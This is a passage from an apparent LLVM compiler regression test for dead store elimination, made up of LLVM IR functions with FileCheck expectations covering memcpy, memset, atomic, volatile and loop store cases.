0, i32* %P\n ret void\n}\n\n; PR8576 - Should delete store of 10 even though p/q are may aliases.\ndefine void @test2(i32 *%p, i32 *%q) {\n; CHECK-LABEL: @test2(\n; CHECK-NEXT: store i32 20, i32* [[Q:%.*]], align 4\n; CHECK-NEXT: store i32 30, i32* [[P:%.*]], align 4\n; CHECK-NEXT: ret void\n;\n store i32 10, i32* %p, align 4\n store i32 20, i32* %q, align 4\n store i32 30, i32* %p, align 4\n ret void\n}\n\n\n; PR8677\n@g = global i32 1\n\ndefine i32 @test3(i32* %g_addr) nounwind {\n; CHECK-LABEL: @test3(\n; CHECK-NEXT: [[G_VALUE:%.*]] = load i32, i32* [[G_ADDR:%.*]], align 4\n; CHECK-NEXT: store i32 -1, i32* @g, align 4\n; CHECK-NEXT: store i32 [[G_VALUE]], i32* [[G_ADDR]], align 4\n; CHECK-NEXT: [[TMP3:%.*]] = load i32, i32* @g, align 4\n; CHECK-NEXT: ret i32 [[TMP3]]\n;\n %g_value = load i32, i32* %g_addr, align 4\n store i32 -1, i32* @g, align 4\n store i32 %g_value, i32* %g_addr, align 4\n %tmp3 = load i32, i32* @g, align 4\n ret i32 %tmp3\n}\n\n\ndefine void @test4(i32* %Q) {\n; CHECK-LABEL: @test4(\n; CHECK-NEXT: [[A:%.*]] = load i32, i32* [[Q:%.*]]\n; CHECK-NEXT: store volatile i32 [[A]], i32* [[Q]]\n; CHECK-NEXT: ret void\n;\n %a = load i32, i32* %Q\n store volatile i32 %a, i32* %Q\n ret void\n}\n\ndefine void @test5(i32* %Q) {\n; CHECK-LABEL: @test5(\n; CHECK-NEXT: [[A:%.*]] = load volatile i32, i32* [[Q:%.*]]\n; CHECK-NEXT: ret void\n;\n %a = load volatile i32, i32* %Q\n store i32 %a, i32* %Q\n ret void\n}\n\n; Should delete store of 10 even though memset is a may-store to P (P and Q may\n; alias).\ndefine void @test6(i32 *%p, i8 *%q) {\n; CHECK-LABEL: @test6(\n; CHECK-NEXT: call void @llvm.memset.p0i8.i64(i8* [[Q:%.*]], i8 42, i64 900, i1 false)\n; CHECK-NEXT: store i32 30, i32* [[P:%.*]], align 4\n; CHECK-NEXT: ret void\n;\n store i32 10, i32* %p, align 4 ;; dead.\n call void @llvm.memset.p0i8.i64(i8* %q, i8 42, i64 900, i1 false)\n store i32 30, i32* %p, align 4\n ret void\n}\n\n; Should delete store of 10 even though memset is a may-store to P (P and Q may\n; alias).\ndefine void @test6_atomic(i32* align 4 %p, i8* align 4 %q) {\n; CHECK-LABEL: @test6_atomic(\n; CHECK-NEXT: call void @llvm.memset.element.unordered.atomic.p0i8.i64(i8* align 4 [[Q:%.*]], i8 42, i64 900, i32 4)\n; CHECK-NEXT: store atomic i32 30, i32* [[P:%.*]] unordered, align 4\n; CHECK-NEXT: ret void\n;\n store atomic i32 10, i32* %p unordered, align 4 ;; dead.\n call void @llvm.memset.element.unordered.atomic.p0i8.i64(i8* align 4 %q, i8 42, i64 900, i32 4)\n store atomic i32 30, i32* %p unordered, align 4\n ret void\n}\n\n; Should delete store of 10 even though memcpy is a may-store to P (P and Q may\n; alias).\ndefine void @test7(i32 *%p, i8 *%q, i8* noalias %r) {\n; CHECK-LABEL: @test7(\n; CHECK-NEXT: call void @llvm.memcpy.p0i8.p0i8.i64(i8* [[Q:%.*]], i8* [[R:%.*]], i64 900, i1 false)\n; CHECK-NEXT: store i32 30, i32* [[P:%.*]], align 4\n; CHECK-NEXT: ret void\n;\n store i32 10, i32* %p, align 4 ;; dead.\n call void @llvm.memcpy.p0i8.p0i8.i64(i8* %q, i8* %r, i64 900, i1 false)\n store i32 30, i32* %p, align 4\n ret void\n}\n\n; Should delete store of 10 even though memcpy is a may-store to P (P and Q may\n; alias).\ndefine void @test7_atomic(i32* align 4 %p, i8* align 4 %q, i8* noalias align 4 %r) {\n; CHECK-LABEL: @test7_atomic(\n; CHECK-NEXT: call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 4 [[Q:%.*]], i8* align 4 [[R:%.*]], i64 900, i32 4)\n; CHECK-NEXT: store atomic i32 30, i32* [[P:%.*]] unordered, align 4\n; CHECK-NEXT: ret void\n;\n store atomic i32 10, i32* %p unordered, align 4 ;; dead.\n call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 4 %q, i8* align 4 %r, i64 900, i32 4)\n store atomic i32 30, i32* %p unordered, align 4\n ret void\n}\n\n; Do not delete stores that are only partially killed.\ndefine i32 @test8() {\n; CHECK-LABEL: @test8(\n; CHECK-NEXT: [[V:%.*]] = alloca i32\n; CHECK-NEXT: store i32 1234567, i32* [[V]]\n; CHECK-NEXT: [[X:%.*]] = load i32, i32* [[V]]\n; CHECK-NEXT: ret i32 [[X]]\n;\n %V = alloca i32\n store i32 1234567, i32* %V\n %V2 = bitcast i32* %V to i8*\n store i8 0, i8* %V2\n %X = load i32, i32* %V\n ret i32 %X\n\n}\n\n\n; Test for byval handling.\n%struct.x = type { i32, i32, i32, i32 }\ndefine void @test9(%struct.x* byval %a) nounwind {\n; CHECK-LABEL: @test9(\n; CHECK-NEXT: ret void\n;\n %tmp2 = getelementptr %struct.x, %struct.x* %a, i32 0, i32 0\n store i32 1, i32* %tmp2, align 4\n ret void\n}\n\n; Test for inalloca handling.\ndefine void @test9_2(%struct.x* inalloca %a) nounwind {\n; CHECK-LABEL: @test9_2(\n; CHECK-NEXT: ret void\n;\n %tmp2 = getelementptr %struct.x, %struct.x* %a, i32 0, i32 0\n store i32 1, i32* %tmp2, align 4\n ret void\n}\n\n; va_arg has fuzzy dependence, the store shouldn't be zapped.\ndefine double @test10(i8* %X) {\n; CHECK-LABEL: @test10(\n; CHECK-NEXT: [[X_ADDR:%.*]] = alloca i8*\n; CHECK-NEXT: store i8* [[X:%.*]], i8** [[X_ADDR]]\n; CHECK-NEXT: [[TMP_0:%.*]] = va_arg i8** [[X_ADDR]], double\n; CHECK-NEXT: ret double [[TMP_0]]\n;\n %X_addr = alloca i8*\n store i8* %X, i8** %X_addr\n %tmp.0 = va_arg i8** %X_addr, double\n ret double %tmp.0\n}\n\n\n; DSE should delete the dead trampoline.\ndeclare void @test11f()\ndefine void @test11() {\n; CHECK-LABEL: @test11(\n; CHECK-NEXT: ret void\n;\n %storage = alloca [10 x i8], align 16\t\t; <[10 x i8]*> [#uses=1]\n %cast = getelementptr [10 x i8], [10 x i8]* %storage, i32 0, i32 0\t\t; <i8*> [#uses=1]\n call void @llvm.init.trampoline( i8* %cast, i8* bitcast (void ()* @test11f to i8*), i8* null )\t\t; <i8*> [#uses=1]\n ret void\n}\n\n\n; PR2599 - load -> store to same address.\ndefine void @test12({ i32, i32 }* %x) nounwind {\n; CHECK-LABEL: @test12(\n; CHECK-NEXT: [[TMP7:%.*]] = getelementptr { i32, i32 }, { i32, i32 }* [[X:%.*]], i32 0, i32 1\n; CHECK-NEXT: [[TMP8:%.*]] = load i32, i32* [[TMP7]], align 4\n; CHECK-NEXT: [[TMP17:%.*]] = sub i32 0, [[TMP8]]\n; CHECK-NEXT: store i32 [[TMP17]], i32* [[TMP7]], align 4\n; CHECK-NEXT: ret void\n;\n %tmp4 = getelementptr { i32, i32 }, { i32, i32 }* %x, i32 0, i32 0\n %tmp5 = load i32, i32* %tmp4, align 4\n %tmp7 = getelementptr { i32, i32 }, { i32, i32 }* %x, i32 0, i32 1\n %tmp8 = load i32, i32* %tmp7, align 4\n %tmp17 = sub i32 0, %tmp8\n store i32 %tmp5, i32* %tmp4, align 4\n store i32 %tmp17, i32* %tmp7, align 4\n ret void\n}\n\n\n; %P doesn't escape, the DEAD instructions should be removed.\ndeclare void @test13f()\ndefine i32* @test13() {\n; CHECK-LABEL: @test13(\n; CHECK-NEXT: [[PTR:%.*]] = tail call i8* @malloc(i32 4)\n; CHECK-NEXT: [[P:%.*]] = bitcast i8* [[PTR]] to i32*\n; CHECK-NEXT: call void @test13f()\n; CHECK-NEXT: store i32 0, i32* [[P]]\n; CHECK-NEXT: ret i32* [[P]]\n;\n %ptr = tail call i8* @malloc(i32 4)\n %P = bitcast i8* %ptr to i32*\n %DEAD = load i32, i32* %P\n %DEAD2 = add i32 %DEAD, 1\n store i32 %DEAD2, i32* %P\n call void @test13f( )\n store i32 0, i32* %P\n ret i32* %P\n}\n\ndefine i32 addrspace(1)* @test13_addrspacecast() {\n; CHECK-LABEL: @test13_addrspacecast(\n; CHECK-NEXT: [[P:%.*]] = tail call i8* @malloc(i32 4)\n; CHECK-NEXT: [[P_BC:%.*]] = bitcast i8* [[P]] to i32*\n; CHECK-NEXT: [[P:%.*]] = addrspacecast i32* [[P_BC]] to i32 addrspace(1)*\n; CHECK-NEXT: call void @test13f()\n; CHECK-NEXT: store i32 0, i32 addrspace(1)* [[P]]\n; CHECK-NEXT: ret i32 addrspace(1)* [[P]]\n;\n %p = tail call i8* @malloc(i32 4)\n %p.bc = bitcast i8* %p to i32*\n %P = addrspacecast i32* %p.bc to i32 addrspace(1)*\n %DEAD = load i32, i32 addrspace(1)* %P\n %DEAD2 = add i32 %DEAD, 1\n store i32 %DEAD2, i32 addrspace(1)* %P\n call void @test13f( )\n store i32 0, i32 addrspace(1)* %P\n ret i32 addrspace(1)* %P\n}\n\ndeclare noalias i8* @malloc(i32)\ndeclare noalias i8* @calloc(i32, i32)\n\n\ndefine void @test14(i32* %Q) {\n; CHECK-LABEL: @test14(\n; CHECK-NEXT: ret void\n;\n %P = alloca i32\n %DEAD = load i32, i32* %Q\n store i32 %DEAD, i32* %P\n ret void\n\n}\n\n\n; PR8701\n\n;; Fully dead overwrite of memcpy.\ndefine void @test15(i8* %P, i8* %Q) nounwind ssp {\n; CHECK-LABEL: @test15(\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* [[P:%.*]], i8* [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 12, i1 false)\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 12, i1 false)\n ret void\n}\n\n;; Fully dead overwrite of memcpy.\ndefine void @test15_atomic(i8* %P, i8* %Q) nounwind ssp {\n; CHECK-LABEL: @test15_atomic(\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i32 1)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n ret void\n}\n\n;; Fully dead overwrite of memcpy.\ndefine void @test15_atomic_weaker(i8* %P, i8* %Q) nounwind ssp {\n; CHECK-LABEL: @test15_atomic_weaker(\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i32 1)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i1 false)\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n ret void\n}\n\n;; Fully dead overwrite of memcpy.\ndefine void @test15_atomic_weaker_2(i8* %P, i8* %Q) nounwind ssp {\n; CHECK-LABEL: @test15_atomic_weaker_2(\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i1 false)\n ret void\n}\n\n;; Full overwrite of smaller memcpy.\ndefine void @test16(i8* %P, i8* %Q) nounwind ssp {\n; CHECK-LABEL: @test16(\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* [[P:%.*]], i8* [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 8, i1 false)\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 12, i1 false)\n ret void\n}\n\n;; Full overwrite of smaller memcpy.\ndefine void @test16_atomic(i8* %P, i8* %Q) nounwind ssp {\n; CHECK-LABEL: @test16_atomic(\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i32 1)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 8, i32 1)\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n ret void\n}\n\n;; Full overwrite of smaller memory where overwrite has stronger atomicity\ndefine void @test16_atomic_weaker(i8* %P, i8* %Q) nounwind ssp {\n; CHECK-LABEL: @test16_atomic_weaker(\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i32 1)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 8, i1 false)\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n ret void\n}\n\n;; Full overwrite of smaller memory where overwrite has weaker atomicity.\ndefine void @test16_atomic_weaker_2(i8* %P, i8* %Q) nounwind ssp {\n; CHECK-LABEL: @test16_atomic_weaker_2(\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 8, i32 1)\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i1 false)\n ret void\n}\n\n;; Overwrite of memset by memcpy.\ndefine void @test17(i8* %P, i8* noalias %Q) nounwind ssp {\n; CHECK-LABEL: @test17(\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* [[P:%.*]], i8* [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memset.p0i8.i64(i8* %P, i8 42, i64 8, i1 false)\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 12, i1 false)\n ret void\n}\n\n;; Overwrite of memset by memcpy.\ndefine void @test17_atomic(i8* %P, i8* noalias %Q) nounwind ssp {\n; CHECK-LABEL: @test17_atomic(\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i32 1)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memset.element.unordered.atomic.p0i8.i64(i8* align 1 %P, i8 42, i64 8, i32 1)\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n ret void\n}\n\n;; Overwrite of memset by memcpy. Overwrite is stronger atomicity. We can\n;; remove the memset.\ndefine void @test17_atomic_weaker(i8* %P, i8* noalias %Q) nounwind ssp {\n; CHECK-LABEL: @test17_atomic_weaker(\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i32 1)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memset.p0i8.i64(i8* align 1 %P, i8 42, i64 8, i1 false)\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n ret void\n}\n\n;; Overwrite of memset by memcpy. Overwrite is weaker atomicity. We can remove\n;; the memset.\ndefine void @test17_atomic_weaker_2(i8* %P, i8* noalias %Q) nounwind ssp {\n; CHECK-LABEL: @test17_atomic_weaker_2(\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memset.element.unordered.atomic.p0i8.i64(i8* align 1 %P, i8 42, i64 8, i32 1)\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i1 false)\n ret void\n}\n\n; Should not delete the volatile memset.\ndefine void @test17v(i8* %P, i8* %Q) nounwind ssp {\n; CHECK-LABEL: @test17v(\n; CHECK-NEXT: tail call void @llvm.memset.p0i8.i64(i8* [[P:%.*]], i8 42, i64 8, i1 true)\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* [[P]], i8* [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memset.p0i8.i64(i8* %P, i8 42, i64 8, i1 true)\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 12, i1 false)\n ret void\n}\n\n; PR8728\n; Do not delete instruction where possible situation is:\n; A = B\n; A = A\n;\n; NB! See PR11763 - currently LLVM allows memcpy's source and destination to be\n; equal (but not inequal and overlapping).\ndefine void @test18(i8* %P, i8* %Q, i8* %R) nounwind ssp {\n; CHECK-LABEL: @test18(\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* [[P:%.*]], i8* [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* [[P]], i8* [[R:%.*]], i64 12, i1 false)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 12, i1 false)\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %R, i64 12, i1 false)\n ret void\n}\n\ndefine void @test18_atomic(i8* %P, i8* %Q, i8* %R) nounwind ssp {\n; CHECK-LABEL: @test18_atomic(\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i32 1)\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P]], i8* align 1 [[R:%.*]], i64 12, i32 1)\n; CHECK-NEXT: ret void\n;\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %R, i64 12, i32 1)\n ret void\n}\n\n\n; The store here is not dead because the byval call reads it.\ndeclare void @test19f({i32}* byval align 4 %P)\n\ndefine void @test19({i32} * nocapture byval align 4 %arg5) nounwind ssp {\n; CHECK-LABEL: @test19(\n; CHECK-NEXT: bb:\n; CHECK-NEXT: [[TMP7:%.*]] = getelementptr inbounds { i32 }, { i32 }* [[ARG5:%.*]], i32 0, i32 0\n; CHECK-NEXT: store i32 912, i32* [[TMP7]]\n; CHECK-NEXT: call void @test19f({ i32 }* byval align 4 [[ARG5]])\n; CHECK-NEXT: ret void\n;\nbb:\n %tmp7 = getelementptr inbounds {i32}, {i32}* %arg5, i32 0, i32 0\n store i32 912, i32* %tmp7\n call void @test19f({i32}* byval align 4 %arg5)\n ret void\n\n}\n\ndefine void @test20() {\n; CHECK-LABEL: @test20(\n; CHECK-NEXT: ret void\n;\n %m = call i8* @malloc(i32 24)\n store i8 0, i8* %m\n ret void\n}\n\ndefine void @test21() {\n; CHECK-LABEL: @test21(\n; CHECK-NEXT: ret void\n;\n %m = call i8* @calloc(i32 9, i32 7)\n store i8 0, i8* %m\n ret void\n}\n\ndefine void @test22(i1 %i, i32 %k, i32 %m) nounwind {\n; CHECK-LABEL: @test22(\n; CHECK-NEXT: ret void\n;\n %k.addr = alloca i32\n %m.addr = alloca i32\n %k.addr.m.addr = select i1 %i, i32* %k.addr, i32* %m.addr\n store i32 0, i32* %k.addr.m.addr, align 4\n ret void\n}\n\n; PR13547\ndeclare noalias i8* @strdup(i8* nocapture) nounwind\ndefine noalias i8* @test23() nounwind uwtable ssp {\n; CHECK-LABEL: @test23(\n; CHECK-NEXT: [[X:%.*]] = alloca [2 x i8], align 1\n; CHECK-NEXT: [[ARRAYIDX:%.*]] = getelementptr inbounds [2 x i8], [2 x i8]* [[X]], i64 0, i64 0\n; CHECK-NEXT: store i8 97, i8* [[ARRAYIDX]], align 1\n; CHECK-NEXT: [[ARRAYIDX1:%.*]] = getelementptr inbounds [2 x i8], [2 x i8]* [[X]], i64 0, i64 1\n; CHECK-NEXT: store i8 0, i8* [[ARRAYIDX1]], align 1\n; CHECK-NEXT: [[CALL:%.*]] = call i8* @strdup(i8* [[ARRAYIDX]]) #2\n; CHECK-NEXT: ret i8* [[CALL]]\n;\n %x = alloca [2 x i8], align 1\n %arrayidx = getelementptr inbounds [2 x i8], [2 x i8]* %x, i64 0, i64 0\n store i8 97, i8* %arrayidx, align 1\n %arrayidx1 = getelementptr inbounds [2 x i8], [2 x i8]* %x, i64 0, i64 1\n store i8 0, i8* %arrayidx1, align 1\n %call = call i8* @strdup(i8* %arrayidx) nounwind\n ret i8* %call\n}\n\n; Make sure same sized store to later element is deleted\ndefine void @test24([2 x i32]* %a, i32 %b, i32 %c) nounwind {\n; CHECK-LABEL: @test24(\n; CHECK-NEXT: [[TMP1:%.*]] = getelementptr inbounds [2 x i32], [2 x i32]* [[A:%.*]], i64 0, i64 0\n; CHECK-NEXT: store i32 [[B:%.*]], i32* [[TMP1]], align 4\n; CHECK-NEXT: [[TMP2:%.*]] = getelementptr inbounds [2 x i32], [2 x i32]* [[A]], i64 0, i64 1\n; CHECK-NEXT: store i32 [[C:%.*]], i32* [[TMP2]], align 4\n; CHECK-NEXT: ret void\n;\n %1 = getelementptr inbounds [2 x i32], [2 x i32]* %a, i64 0, i64 0\n store i32 0, i32* %1, align 4\n %2 = getelementptr inbounds [2 x i32], [2 x i32]* %a, i64 0, i64 1\n store i32 0, i32* %2, align 4\n %3 = getelementptr inbounds [2 x i32], [2 x i32]* %a, i64 0, i64 0\n store i32 %b, i32* %3, align 4\n %4 = getelementptr inbounds [2 x i32], [2 x i32]* %a, i64 0, i64 1\n store i32 %c, i32* %4, align 4\n ret void\n}\n\n; Check another case like PR13547 where strdup is not like malloc.\ndefine i8* @test25(i8* %p) nounwind {\n; CHECK-LABEL: @test25(\n; CHECK-NEXT: [[P_4:%.*]] = getelementptr i8, i8* [[P:%.*]], i64 4\n; CHECK-NEXT: [[TMP:%.*]] = load i8, i8* [[P_4]], align 1\n; CHECK-NEXT: store i8 0, i8* [[P_4]], align 1\n; CHECK-NEXT: [[Q:%.*]] = call i8* @strdup(i8* [[P]]) #5\n; CHECK-NEXT: store i8 [[TMP]], i8* [[P_4]], align 1\n; CHECK-NEXT: ret i8* [[Q]]\n;\n %p.4 = getelementptr i8, i8* %p, i64 4\n %tmp = load i8, i8* %p.4, align 1\n store i8 0, i8* %p.4, align 1\n %q = call i8* @strdup(i8* %p) nounwind optsize\n store i8 %tmp, i8* %p.4, align 1\n ret i8* %q\n}\n\n; Remove redundant store if loaded value is in another block.\ndefine i32 @test26(i1 %c, i32* %p) {\n; CHECK-LABEL: @test26(\n; CHECK-NEXT: entry:\n; CHECK-NEXT: br i1 [[C:%.*]], label [[BB1:%.*]], label [[BB2:%.*]]\n; CHECK: bb1:\n; CHECK-NEXT: br label [[BB3:%.*]]\n; CHECK: bb2:\n; CHECK-NEXT: br label [[BB3]]\n; CHECK: bb3:\n; CHECK-NEXT: ret i32 0\n;\nentry:\n %v = load i32, i32* %p, align 4\n br i1 %c, label %bb1, label %bb2\nbb1:\n br label %bb3\nbb2:\n store i32 %v, i32* %p, align 4\n br label %bb3\nbb3:\n ret i32 0\n}\n\n; Remove redundant store if loaded value is in another block.\ndefine i32 @test27(i1 %c, i32* %p) {\n; CHECK-LABEL: @test27(\n; CHECK-NEXT: entry:\n; CHECK-NEXT: br i1 [[C:%.*]], label [[BB1:%.*]], label [[BB2:%.*]]\n; CHECK: bb1:\n; CHECK-NEXT: br label [[BB3:%.*]]\n; CHECK: bb2:\n; CHECK-NEXT: br label [[BB3]]\n; CHECK: bb3:\n; CHECK-NEXT: ret i32 0\n;\nentry:\n %v = load i32, i32* %p, align 4\n br i1 %c, label %bb1, label %bb2\nbb1:\n br label %bb3\nbb2:\n br label %bb3\nbb3:\n store i32 %v, i32* %p, align 4\n ret i32 0\n}\n\n; Don't remove redundant store because of may-aliased store.\ndefine i32 @test28(i1 %c, i32* %p, i32* %p2, i32 %i) {\n; CHECK-LABEL: @test28(\n; CHECK-NEXT: entry:\n; CHECK-NEXT: [[V:%.*]] = load i32, i32* [[P:%.*]], align 4\n; CHECK-NEXT: store i32 [[I:%.*]], i32* [[P2:%.*]], align 4\n; CHECK-NEXT: br i1 [[C:%.*]], label [[BB1:%.*]], label [[BB2:%.*]]\n; CHECK: bb1:\n; CHECK-NEXT: br label [[BB3:%.*]]\n; CHECK: bb2:\n; CHECK-NEXT: br label [[BB3]]\n; CHECK: bb3:\n; CHECK-NEXT: store i32 [[V]], i32* [[P]], align 4\n; CHECK-NEXT: ret i32 0\n;\nentry:\n %v = load i32, i32* %p, align 4\n\n ; Might overwrite value at %p\n store i32 %i, i32* %p2, align 4\n br i1 %c, label %bb1, label %bb2\nbb1:\n br label %bb3\nbb2:\n br label %bb3\nbb3:\n store i32 %v, i32* %p, align 4\n ret i32 0\n}\n\n; Don't remove redundant store because of may-aliased store.\ndefine i32 @test29(i1 %c, i32* %p, i32* %p2, i32 %i) {\n; CHECK-LABEL: @test29(\n; CHECK-NEXT: entry:\n; CHECK-NEXT: [[V:%.*]] = load i32, i32* [[P:%.*]], align 4\n; CHECK-NEXT: br i1 [[C:%.*]], label [[BB1:%.*]], label [[BB2:%.*]]\n; CHECK: bb1:\n; CHECK-NEXT: br label [[BB3:%.*]]\n; CHECK: bb2:\n; CHECK-NEXT: store i32 [[I:%.*]], i32* [[P2:%.*]], align 4\n; CHECK-NEXT: br label [[BB3]]\n; CHECK: bb3:\n; CHECK-NEXT: store i32 [[V]], i32* [[P]], align 4\n; CHECK-NEXT: ret i32 0\n;\nentry:\n %v = load i32, i32* %p, align 4\n br i1 %c, label %bb1, label %bb2\nbb1:\n br label %bb3\nbb2:\n ; Might overwrite value at %p\n store i32 %i, i32* %p2, align 4\n br label %bb3\nbb3:\n store i32 %v, i32* %p, align 4\n ret i32 0\n}\n\ndeclare void @unknown_func()\n\n; Don't remove redundant store because of unknown call.\ndefine i32 @test30(i1 %c, i32* %p, i32 %i) {\n; CHECK-LABEL: @test30(\n; CHECK-NEXT: entry:\n; CHECK-NEXT: [[V:%.*]] = load i32, i32* [[P:%.*]], align 4\n; CHECK-NEXT: br i1 [[C:%.*]], label [[BB1:%.*]], label [[BB2:%.*]]\n; CHECK: bb1:\n; CHECK-NEXT: br label [[BB3:%.*]]\n; CHECK: bb2:\n; CHECK-NEXT: call void @unknown_func()\n; CHECK-NEXT: br label [[BB3]]\n; CHECK: bb3:\n; CHECK-NEXT: store i32 [[V]], i32* [[P]], align 4\n; CHECK-NEXT: ret i32 0\n;\nentry:\n %v = load i32, i32* %p, align 4\n br i1 %c, label %bb1, label %bb2\nbb1:\n br label %bb3\nbb2:\n ; Might overwrite value at %p\n call void @unknown_func()\n br label %bb3\nbb3:\n store i32 %v, i32* %p, align 4\n ret i32 0\n}\n\n; Remove redundant store if loaded value is in another block inside a loop.\ndefine i32 @test31(i1 %c, i32* %p, i32 %i) {\n; CHECK-LABEL: @test31(\n; CHECK-NEXT: entry:\n; CHECK-NEXT: br label [[BB1:%.*]]\n; CHECK: bb1:\n; CHECK-NEXT: br i1 undef, label [[BB1]], label [[BB2:%.*]]\n; CHECK: bb2:\n; CHECK-NEXT: ret i32 0\n;\nentry:\n %v = load i32, i32* %p, align 4\n br label %bb1\nbb1:\n store i32 %v, i32* %p, align 4\n br i1 undef, label %bb1, label %bb2\nbb2:\n ret i32 0\n}\n\n; Don't remove redundant store in a loop with a may-alias store.\ndefine i32 @test32(i1 %c, i32* %p, i32 %i) {\n; CHECK-LABEL: @test32(\n; CHECK-NEXT: entry:\n; CHECK-NEXT: [[V:%.*]] = load i32, i32* [[P:%.*]], align 4\n; CHECK-NEXT: br label [[BB1:%.*]]\n; CHECK: bb1:\n; CHECK-NEXT: store i32 [[V]], i32* [[P]], align 4\n; CHECK-NEXT: call void @unknown_func()\n; CHECK-NEXT: br i1 undef, label [[BB1]], label [[BB2:%.*]]\n; CHECK: bb2:\n; CHECK-NEXT: ret i32 0\n;\nentry:\n %v = load i32, i32* %p, align 4\n br label %bb1\nbb1:\n store i32 %v, i32* %p, align 4\n ; Might read and overwrite value at %p\n call void 